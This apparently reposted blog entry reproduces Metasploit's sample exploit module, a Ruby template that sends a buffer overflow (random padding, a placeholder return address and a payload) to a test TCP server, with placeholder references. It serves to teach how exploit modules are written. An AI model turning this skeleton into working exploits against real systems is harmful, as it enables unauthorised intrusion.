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Metasploit Example Exploit

Posted on 16 July 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

#
# This exploit affects TCP servers, so we use the TCP client mixin.
# See ./documentation/samples/vulnapps/testsrv/testsrv.c for building the
# vulnerable target program.
#
include Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
# The Name should be just like the line of a Git commit - software name,
# vuln type, class. It needs to fit in 50 chars ideally. Preferably apply
# some search optimization so people can actually find the module.
# We encourage consistency between module name and file name.
'Name' => 'Sample Exploit',
'Description' => %q{
This exploit module illustrates how a vulnerability could be exploited
in an TCP server that has a parsing bug.
},
'License' => MSF_LICENSE,
'Author' => ['skape'],
'References' =>
[
[ 'OSVDB', '12345' ],
[ 'EDB', '12345' ],
[ 'URL', 'http://www.example.com'],
[ 'CVE', '1978-1234'],
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "x00",
},
'Targets' =>
[
# Target 0: Windows All
[
'Windows XP/Vista/7/8',
{
'Platform' => 'win',
'Ret' => 0x41424344
}
],
],
'DisclosureDate' => "Apr 1 2013",
# Note that this is by index, rather than name. It's generally easiest
# just to put the default at the beginning of the list and skip this
# entirely.
'DefaultTarget' => 0))
end

#
# The sample exploit just indicates that the remote host is always
# vulnerable.
#
def check
Exploit::CheckCode::Vulnerable
end

#
# The exploit method connects to the remote service and sends 1024 random bytes
# followed by the fake return address and then the payload.
#
def exploit
connect

print_status("Sending #{payload.encoded.length} byte payload...")

# Build the buffer for transmission
buf = rand_text_alpha(1024)
buf << [ target.ret ].pack('V')
buf << payload.encoded

# Send it off
sock.put(buf)
sock.get_once

handler
end

end

 

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